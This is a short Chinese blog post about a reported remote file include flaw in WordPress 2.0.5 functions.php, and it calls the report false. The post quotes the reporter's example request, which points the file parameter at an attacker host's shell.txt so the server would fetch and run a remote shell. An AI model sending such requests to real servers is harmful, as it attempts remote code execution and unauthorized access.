Wordpress 2.0.5 Remote File Include Vulnerability
有在留意安全消息的人, 最近可能會看到這個標題然後嚇一跳 -
『 Wordpress functions.php remote file include vulnerability 』
ex: http://www.securityfocus.com/bid/21004
啥 !? Wordpress 這麼多人用的 blog 系統,
連最新的 2.0.5 都還有這麼大的洞洞 !?
原發表者指出可以用
http://www.target.com/wp-includes/functions.php?file=http://evilhost/shell.txt
讓 server 去執行遠端的檔案,
理論上如果成立的話就可以直接拿到 shell .
........ !!
哈, 免驚, 其實這是個芭樂 !